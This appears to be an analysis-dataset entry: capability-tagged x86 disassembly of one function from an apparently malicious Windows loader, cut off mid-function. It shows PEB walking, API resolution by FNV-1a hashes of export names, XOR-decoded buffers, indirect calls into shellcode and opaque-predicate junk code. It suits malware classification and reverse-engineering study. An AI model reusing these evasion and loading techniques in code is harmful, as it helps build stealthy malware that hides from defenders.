Function at 0x4360d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1668
call fcn.0046c3b4
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [esp + 0x93c], 0
call fcn.00435070
call fcn.00402460
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0x924]
mov dword [esp + 0x78c], ecx
call fcn.00401ce0
sub esp, 4
mov ecx, dword [esp + 0x78c]
mov eax, esp
mov dword [eax + 4], ecx
lea ecx, [esp + 0x930]
mov dword [eax], ecx
call fcn.00435bf0
jmp 0x436139
lea ecx, [esp + 0x924]
call fcn.00468fc0
lea ecx, [esp + 0x930]
mov dword [esp + 0x788], ecx
call fcn.0043ec00
mov ecx, dword [esp + 0x788]
mov dword [esp + 0x918], eax
call fcn.0043ec20
mov dword [esp + 0x914], eax
mov dword [esp + 0x910], 0
mov dword [esp + 0x90c], 0
mov dword [esp + 0x908], 0
mov eax, esp
lea ecx, [esp + 0x8f6]
mov dword [eax], ecx
lea ecx, [esp + 0x8f7]
call fcn.0043ec40
sub esp, 4
jmp 0x4361af
lea eax, [esp + 0x907]
mov dword [esp + 0x970], eax
lea eax, [esp + 0x8f7]
mov dword [esp + 0x96c], eax
lea eax, [esp + 0xb7c]
mov dword [esp + 0xb84], eax
mov eax, dword [esp + 0xb84]
mov dword [esp + 0xbe0], 0x30
mov ecx, dword [esp + 0xbe0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xbdc], ecx
mov ecx, dword [esp + 0xbdc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xb7c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xb70]
mov dword [esp + 0xb94], ecx
mov dword [esp + 0xb90], eax
mov eax, dword [esp + 0xb94]
mov ecx, dword [esp + 0xb90]
mov dword [eax], ecx
mov ecx, dword [esp + 0xb90]
mov dword [esp + 0xbe4], ecx
mov ecx, dword [esp + 0xbe4]
mov edx, dword [esp + 0xbe4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xb88], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xb8c], ecx
mov ecx, dword [esp + 0xb90]
add ecx, dword [esp + 0xb88]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xb8c]
mov dword [eax + 8], ecx
lea eax, [esp + 0xb70]
mov dword [esp + 0xb98], eax
mov ecx, dword [esp + 0xb98]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43643e
lea eax, [esp + 0xb70]
mov dword [esp + 0xb9c], eax
mov eax, dword [esp + 0xb9c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xb6c], eax
mov eax, dword [esp + 0xb6c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xb6c], ecx
cmp eax, 0
je 0x43643c
mov eax, dword [esp + 0xb6c]
lea ecx, [esp + 0xb70]
mov dword [esp + 0xbb4], ecx
mov dword [esp + 0xbb0], eax
mov eax, dword [esp + 0xbb4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xbb0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xbbc], 0xbb423221
mov dword [esp + 0xbb8], 0x4d713971
mov eax, dword [esp + 0xbbc]
mov dword [esp + 0xbac], ecx
mov dword [esp + 0xba8], eax
mov eax, dword [esp + 0xba8]
mov dword [esp + 0xba4], eax
mov eax, dword [esp + 0xbac]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xbac], ecx
mov al, byte [eax]
mov byte [esp + 0xba3], al
cmp byte [esp + 0xba3], 0
je 0x43640f
mov ecx, dword [esp + 0xba4]
mov al, byte [esp + 0xba3]
mov dword [esp + 0xbec], ecx
mov byte [esp + 0xbeb], al
mov eax, dword [esp + 0xbec]
mov dword [esp + 0x784], eax
movsx eax, byte [esp + 0xbeb]
cmp eax, 0x41
jl 0x4363de
movsx eax, byte [esp + 0xbeb]
cmp eax, 0x5a
jg 0x4363de
movsx eax, byte [esp + 0xbeb]
or eax, 0x20
mov dword [esp + 0x780], eax
jmp 0x4363ed
movsx eax, byte [esp + 0xbeb]
mov dword [esp + 0x780], eax
mov eax, dword [esp + 0x784]
mov ecx, dword [esp + 0x780]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xba4], eax
jmp 0x43635c
mov eax, dword [esp + 0xba4]
mov dword [esp + 0xbc4], 0xbb423221
mov dword [esp + 0xbc0], 0x4d713971
mov ecx, dword [esp + 0xbc0]
cmp eax, ecx
je 0x43646c
jmp 0x4362cc
jmp 0x43643e
lea eax, [esp + 0xb7c]
mov dword [esp + 0xbd8], eax
mov eax, dword [esp + 0xbd8]
mov ecx, dword [eax]
mov dword [esp + 0xbf0], ecx
mov ecx, dword [esp + 0xbf0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43620b
mov eax, dword [esp + 0xb6c]
lea ecx, [esp + 0xb70]
mov dword [esp + 0xbd4], ecx
mov dword [esp + 0xbd0], eax
mov eax, dword [esp + 0xbd4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xbcc], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xbc8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xbcc]
mov edx, dword [esp + 0xbc8]
mov esi, dword [esp + 0xbd0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xb80], eax
mov eax, dword [esp + 0xb80]
mov dword [esp + 0x778], eax
mov eax, dword [esp + 0x96c]
mov dword [esp + 0xa3c], eax
mov eax, dword [esp + 0xa3c]
mov dword [esp + 0xa40], eax
mov eax, dword [esp + 0xa40]
mov dword [esp + 0x77c], eax
mov dword [esp + 0xab4], eax
mov eax, dword [esp + 0xab4]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43659c
mov eax, dword [esp + 0x77c]
mov dword [esp + 0xb68], eax
mov dword [esp + 0xb64], eax
mov eax, dword [esp + 0xb68]
mov dword [esp + 0x774], eax
mov dword [esp + 0xb60], 0
cmp dword [esp + 0xb60], 0x10
jge 0x43659a
mov eax, dword [esp + 0x774]
mov ecx, dword [esp + 0xb64]
mov edx, dword [esp + 0xb60]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb60]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb60]
add eax, 1
mov dword [esp + 0xb60], eax
jmp 0x43654f
jmp 0x43659c
mov eax, dword [esp + 0x778]
mov edx, dword [esp + 0x77c]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x4365b5
jmp 0x4365b7
mov ecx, dword [esp + 0x918]
mov eax, esp
mov dword [eax], ecx
call fcn.00407ab0
mov dword [esp + 0x770], eax
jmp 0x4365d0
mov eax, dword [esp + 0x770]
mov dword [esp + 0x8f0], eax
cmp dword [esp + 0x8f0], 0
jne 0x43696d
mov dword [esp + 0x8e8], 0
lea eax, [esp + 0x8ef]
mov dword [esp + 0x978], eax
lea eax, [esp + 0x8e8]
mov dword [esp + 0x974], eax
lea eax, [esp + 0xc04]
mov dword [esp + 0xc0c], eax
mov eax, dword [esp + 0xc0c]
mov dword [esp + 0xc68], 0x30
mov ecx, dword [esp + 0xc68]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xc64], ecx
mov ecx, dword [esp + 0xc64]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xc04]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xbf8]
mov dword [esp + 0xc1c], ecx
mov dword [esp + 0xc18], eax
mov eax, dword [esp + 0xc1c]
mov ecx, dword [esp + 0xc18]
mov dword [eax], ecx
mov ecx, dword [esp + 0xc18]
mov dword [esp + 0xc6c], ecx
mov ecx, dword [esp + 0xc6c]
mov edx, dword [esp + 0xc6c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xc10], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xc14], ecx
mov ecx, dword [esp + 0xc18]
add ecx, dword [esp + 0xc10]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xc14]
mov dword [eax + 8], ecx
lea eax, [esp + 0xbf8]
mov dword [esp + 0xc20], eax
mov ecx, dword [esp + 0xc20]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x436886
lea eax, [esp + 0xbf8]
mov dword [esp + 0xc24], eax
mov eax, dword [esp + 0xc24]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xbf4], eax
mov eax, dword [esp + 0xbf4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xbf4], ecx
cmp eax, 0
je 0x436884
mov eax, dword [esp + 0xbf4]
lea ecx, [esp + 0xbf8]
mov dword [esp + 0xc3c], ecx
mov dword [esp + 0xc38], eax
mov eax, dword [esp + 0xc3c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xc38]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xc44], 0x1beb8630
mov dword [esp + 0xc40], 0xe8ad5ac0
mov eax, dword [esp + 0xc44]
mov dword [esp + 0xc34], ecx
mov dword [esp + 0xc30], eax
mov eax, dword [esp + 0xc30]
mov dword [esp + 0xc2c], eax
mov eax, dword [esp + 0xc34]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xc34], ecx
mov al, byte [eax]
mov byte [esp + 0xc2b], al
cmp byte [esp + 0xc2b], 0
je 0x436857
mov ecx, dword [esp + 0xc2c]
mov al, byte [esp + 0xc2b]
mov dword [esp + 0xc74], ecx
mov byte [esp + 0xc73], al
mov eax, dword [esp + 0xc74]
mov dword [esp + 0x76c], eax
movsx eax, byte [esp + 0xc73]
cmp eax, 0x41
jl 0x436826
movsx eax, byte [esp + 0xc73]
cmp eax, 0x5a
jg 0x436826
movsx eax, byte [esp + 0xc73]
or eax, 0x20
mov dword [esp + 0x768], eax
jmp 0x436835
movsx eax, byte [esp + 0xc73]
mov dword [esp + 0x768], eax
mov eax, dword [esp + 0x76c]
mov ecx, dword [esp + 0x768]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xc2c], eax
jmp 0x4367a4
mov eax, dword [esp + 0xc2c]
mov dword [esp + 0xc4c], 0x1beb8630
mov dword [esp + 0xc48], 0xe8ad5ac0
mov ecx, dword [esp + 0xc48]
cmp eax, ecx
je 0x4368b4
jmp 0x436714
jmp 0x436886
lea eax, [esp + 0xc04]
mov dword [esp + 0xc60], eax
mov eax, dword [esp + 0xc60]
mov ecx, dword [eax]
mov dword [esp + 0xc78], ecx
mov ecx, dword [esp + 0xc78]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x436653
mov eax, dword [esp + 0xbf4]
lea ecx, [esp + 0xbf8]
mov dword [esp + 0xc5c], ecx
mov dword [esp + 0xc58], eax
mov eax, dword [esp + 0xc5c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xc54], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xc50], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xc54]
mov edx, dword [esp + 0xc50]
mov esi, dword [esp + 0xc58]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xc08], eax
mov eax, dword [esp + 0xc08]
mov ecx, dword [esp + 0x974]
mov ecx, dword [ecx]
mov dword [esp], ecx
call eax
mov dword [esp + 0x920], eax
mov dword [esp + 0x91c], edx
lea ecx, [esp + 0x924]
call fcn.00468fc0
jmp 0x43ebe2
mov eax, esp
lea ecx, [esp + 0x8d6]
mov dword [eax], ecx
lea ecx, [esp + 0x8d7]
call fcn.0043eca0
sub esp, 4
jmp 0x436989
lea eax, [esp + 0x8e7]
mov dword [esp + 0x980], eax
lea eax, [esp + 0x8d7]
mov dword [esp + 0x97c], eax
lea eax, [esp + 0xc8c]
mov dword [esp + 0xc94], eax
mov eax, dword [esp + 0xc94]
mov dword [esp + 0xcf0], 0x30
mov ecx, dword [esp + 0xcf0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xcec], ecx
mov ecx, dword [esp + 0xcec]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xc8c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xc80]
mov dword [esp + 0xca4], ecx
mov dword [esp + 0xca0], eax
mov eax, dword [esp + 0xca4]
mov ecx, dword [esp + 0xca0]
mov dword [eax], ecx
mov ecx, dword [esp + 0xca0]
mov dword [esp + 0xcf4], ecx
mov ecx, dword [esp + 0xcf4]
mov edx, dword [esp + 0xcf4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xc98], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xc9c], ecx
mov ecx, dword [esp + 0xca0]
add ecx, dword [esp + 0xc98]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xc9c]
mov dword [eax + 8], ecx
lea eax, [esp + 0xc80]
mov dword [esp + 0xca8], eax
mov ecx, dword [esp + 0xca8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x436c18
lea eax, [esp + 0xc80]
mov dword [esp + 0xcac], eax
mov eax, dword [esp + 0xcac]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xc7c], eax
mov eax, dword [esp + 0xc7c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xc7c], ecx
cmp eax, 0
je 0x436c16
mov eax, dword [esp + 0xc7c]
lea ecx, [esp + 0xc80]
mov dword [esp + 0xcc4], ecx
mov dword [esp + 0xcc0], eax
mov eax, dword [esp + 0xcc4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xcc0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xccc], 0x8419674d
mov dword [esp + 0xcc8], 0x449e64dd
mov eax, dword [esp + 0xccc]
mov dword [esp + 0xcbc], ecx
mov dword [esp + 0xcb8], eax
mov eax, dword [esp + 0xcb8]
mov dword [esp + 0xcb4], eax
mov eax, dword [esp + 0xcbc]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xcbc], ecx
mov al, byte [eax]
mov byte [esp + 0xcb3], al
cmp byte [esp + 0xcb3], 0
je 0x436be9
mov ecx, dword [esp + 0xcb4]
mov al, byte [esp + 0xcb3]
mov dword [esp + 0xcfc], ecx
mov byte [esp + 0xcfb], al
mov eax, dword [esp + 0xcfc]
mov dword [esp + 0x764], eax
movsx eax, byte [esp + 0xcfb]
cmp eax, 0x41
jl 0x436bb8
movsx eax, byte [esp + 0xcfb]
cmp eax, 0x5a
jg 0x436bb8
movsx eax, byte [esp + 0xcfb]
or eax, 0x20
mov dword [esp + 0x760], eax
jmp 0x436bc7
movsx eax, byte [esp + 0xcfb]
mov dword [esp + 0x760], eax
mov eax, dword [esp + 0x764]
mov ecx, dword [esp + 0x760]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xcb4], eax
jmp 0x436b36
mov eax, dword [esp + 0xcb4]
mov dword [esp + 0xcd4], 0x8419674d
mov dword [esp + 0xcd0], 0x449e64dd
mov ecx, dword [esp + 0xcd0]
cmp eax, ecx
je 0x436c46
jmp 0x436aa6
jmp 0x436c18
lea eax, [esp + 0xc8c]
mov dword [esp + 0xce8], eax
mov eax, dword [esp + 0xce8]
mov ecx, dword [eax]
mov dword [esp + 0xd00], ecx
mov ecx, dword [esp + 0xd00]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x4369e5
mov eax, dword [esp + 0xc7c]
lea ecx, [esp + 0xc80]
mov dword [esp + 0xce4], ecx
mov dword [esp + 0xce0], eax
mov eax, dword [esp + 0xce4]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xcdc], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xcd8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xcdc]
mov edx, dword [esp + 0xcd8]
mov esi, dword [esp + 0xce0]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xc90], eax
mov eax, dword [esp + 0xc90]
mov dword [esp + 0x758], eax
mov eax, dword [esp + 0x97c]
mov dword [esp + 0xa38], eax
mov eax, dword [esp + 0xa38]
mov dword [esp + 0xa44], eax
mov eax, dword [esp + 0xa44]
mov dword [esp + 0x75c], eax
mov dword [esp + 0xab0], eax
mov eax, dword [esp + 0xab0]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x436d76
mov eax, dword [esp + 0x75c]
mov dword [esp + 0xb5c], eax
mov dword [esp + 0xb58], eax
mov eax, dword [esp + 0xb5c]
mov dword [esp + 0x754], eax
mov dword [esp + 0xb54], 0
cmp dword [esp + 0xb54], 0x10
jge 0x436d74
mov eax, dword [esp + 0x754]
mov ecx, dword [esp + 0xb58]
mov edx, dword [esp + 0xb54]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb54]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb54]
add eax, 1
mov dword [esp + 0xb54], eax
jmp 0x436d29
jmp 0x436d76
mov eax, dword [esp + 0x758]
mov edx, dword [esp + 0x75c]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x436d8f
jmp 0x436d91
mov ecx, dword [esp + 0x918]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 5
call fcn.0040f620
mov dword [esp + 0x750], eax
jmp 0x436db1
mov eax, dword [esp + 0x750]
mov dword [esp + 0x8d0], eax
mov eax, dword [esp + 0x8f0]
mov eax, dword [eax + 0x34]
mov dword [esp + 0x90c], eax
mov eax, esp
lea ecx, [esp + 0x8be]
mov dword [eax], ecx
lea ecx, [esp + 0x8bf]
call fcn.0043ed00
sub esp, 4
jmp 0x436dec
lea eax, [esp + 0x8cf]
mov dword [esp + 0x988], eax
lea eax, [esp + 0x8bf]
mov dword [esp + 0x984], eax
lea eax, [esp + 0xd14]
mov dword [esp + 0xd1c], eax
mov eax, dword [esp + 0xd1c]
mov dword [esp + 0xd78], 0x30
mov ecx, dword [esp + 0xd78]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xd74], ecx
mov ecx, dword [esp + 0xd74]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xd14]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xd08]
mov dword [esp + 0xd2c], ecx
mov dword [esp + 0xd28], eax
mov eax, dword [esp + 0xd2c]
mov ecx, dword [esp + 0xd28]
mov dword [eax], ecx
mov ecx, dword [esp + 0xd28]
mov dword [esp + 0xd7c], ecx
mov ecx, dword [esp + 0xd7c]
mov edx, dword [esp + 0xd7c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xd20], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xd24], ecx
mov ecx, dword [esp + 0xd28]
add ecx, dword [esp + 0xd20]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xd24]
mov dword [eax + 8], ecx
lea eax, [esp + 0xd08]
mov dword [esp + 0xd30], eax
mov ecx, dword [esp + 0xd30]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43707b
lea eax, [esp + 0xd08]
mov dword [esp + 0xd34], eax
mov eax, dword [esp + 0xd34]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xd04], eax
mov eax, dword [esp + 0xd04]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xd04], ecx
cmp eax, 0
je 0x437079
mov eax, dword [esp + 0xd04]
lea ecx, [esp + 0xd08]
mov dword [esp + 0xd4c], ecx
mov dword [esp + 0xd48], eax
mov eax, dword [esp + 0xd4c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xd48]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xd54], 0x262b5623
mov dword [esp + 0xd50], 0x24bf133f
mov eax, dword [esp + 0xd54]
mov dword [esp + 0xd44], ecx
mov dword [esp + 0xd40], eax
mov eax, dword [esp + 0xd40]
mov dword [esp + 0xd3c], eax
mov eax, dword [esp + 0xd44]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xd44], ecx
mov al, byte [eax]
mov byte [esp + 0xd3b], al
cmp byte [esp + 0xd3b], 0
je 0x43704c
mov ecx, dword [esp + 0xd3c]
mov al, byte [esp + 0xd3b]
mov dword [esp + 0xd84], ecx
mov byte [esp + 0xd83], al
mov eax, dword [esp + 0xd84]
mov dword [esp + 0x74c], eax
movsx eax, byte [esp + 0xd83]
cmp eax, 0x41
jl 0x43701b
movsx eax, byte [esp + 0xd83]
cmp eax, 0x5a
jg 0x43701b
movsx eax, byte [esp + 0xd83]
or eax, 0x20
mov dword [esp + 0x748], eax
jmp 0x43702a
movsx eax, byte [esp + 0xd83]
mov dword [esp + 0x748], eax
mov eax, dword [esp + 0x74c]
mov ecx, dword [esp + 0x748]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xd3c], eax
jmp 0x436f99
mov eax, dword [esp + 0xd3c]
mov dword [esp + 0xd5c], 0x262b5623
mov dword [esp + 0xd58], 0x24bf133f
mov ecx, dword [esp + 0xd58]
cmp eax, ecx
je 0x4370a9
jmp 0x436f09
jmp 0x43707b
lea eax, [esp + 0xd14]
mov dword [esp + 0xd70], eax
mov eax, dword [esp + 0xd70]
mov ecx, dword [eax]
mov dword [esp + 0xd88], ecx
mov ecx, dword [esp + 0xd88]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x436e48
mov eax, dword [esp + 0xd04]
lea ecx, [esp + 0xd08]
mov dword [esp + 0xd6c], ecx
mov dword [esp + 0xd68], eax
mov eax, dword [esp + 0xd6c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xd64], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xd60], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xd64]
mov edx, dword [esp + 0xd60]
mov esi, dword [esp + 0xd68]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xd18], eax
mov eax, dword [esp + 0xd18]
mov dword [esp + 0x740], eax
mov eax, dword [esp + 0x984]
mov dword [esp + 0xa34], eax
mov eax, dword [esp + 0xa34]
mov dword [esp + 0xa48], eax
mov eax, dword [esp + 0xa48]
mov dword [esp + 0x744], eax
mov dword [esp + 0xaac], eax
mov eax, dword [esp + 0xaac]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x4371d9
mov eax, dword [esp + 0x744]
mov dword [esp + 0xb50], eax
mov dword [esp + 0xb4c], eax
mov eax, dword [esp + 0xb50]
mov dword [esp + 0x73c], eax
mov dword [esp + 0xb48], 0
cmp dword [esp + 0xb48], 0x10
jge 0x4371d7
mov eax, dword [esp + 0x73c]
mov ecx, dword [esp + 0xb4c]
mov edx, dword [esp + 0xb48]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb48]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb48]
add eax, 1
mov dword [esp + 0xb48], eax
jmp 0x43718c
jmp 0x4371d9
mov eax, dword [esp + 0x740]
mov edx, dword [esp + 0x744]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x4371f2
jmp 0x4371f4
mov eax, esp
lea ecx, [esp + 0x8ac]
mov dword [eax], ecx
lea ecx, [esp + 0x8ad]
call fcn.0043ed60
sub esp, 4
jmp 0x437210
lea eax, [esp + 0x8ad]
mov dword [esp + 0x98c], eax
mov eax, dword [esp + 0x98c]
mov dword [esp + 0x1474], eax
mov eax, dword [esp + 0x1474]
mov dword [esp + 0x738], eax
test byte [eax], 1
jne 0x439036
mov eax, dword [esp + 0x738]
add eax, 1
mov dword [esp + 0x147c], eax
mov dword [esp + 0x1478], 0
mov eax, dword [esp + 0x1478]
cmp eax, 0xa
jae 0x439032
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x72c], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x72c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x730], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x730]
movsx ecx, cl
imul ecx, ecx, 7
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x734], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x734]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437842
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x71c], eax
mov dword [esp + 0x1564], 0x40180000
mov dword [esp + 0x1560], 0
xor eax, eax
je 0x437311
add dl, dh
movups xmm0, xmmword [esp + 0x1560]
movsd xmm0, qword [esp + 0x1560]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1558], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x720], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x720]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x728], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x724], eax
call fcn.00434890
mov ecx, dword [esp + 0x724]
mov dl, al
mov eax, dword [esp + 0x728]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x437441
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x710], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x710]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x714], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x714]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x718], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x718]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43743f
mov dword [esp + 0x1568], 0xa
jmp 0x43756e
jmp 0x437441
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x704], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x704]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x70c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x708], eax
call fcn.00434890
mov ecx, dword [esp + 0x708]
mov dl, al
mov eax, dword [esp + 0x70c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43756c
movsd xmm0, qword [esp + 0x1558]
movsd qword [esp + 0x6f8], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x6f0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x6f0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x700], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x6f4], eax
call fcn.00434890
mov ecx, dword [esp + 0x6f4]
movsd xmm0, qword [esp + 0x6f8]
mov dl, al
mov eax, dword [esp + 0x700]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1568], eax
jmp 0x43756e
ud2
mov eax, dword [esp + 0x71c]
mov ecx, dword [esp + 0x1568]
add eax, ecx
mov dword [esp + 0x6dc], eax
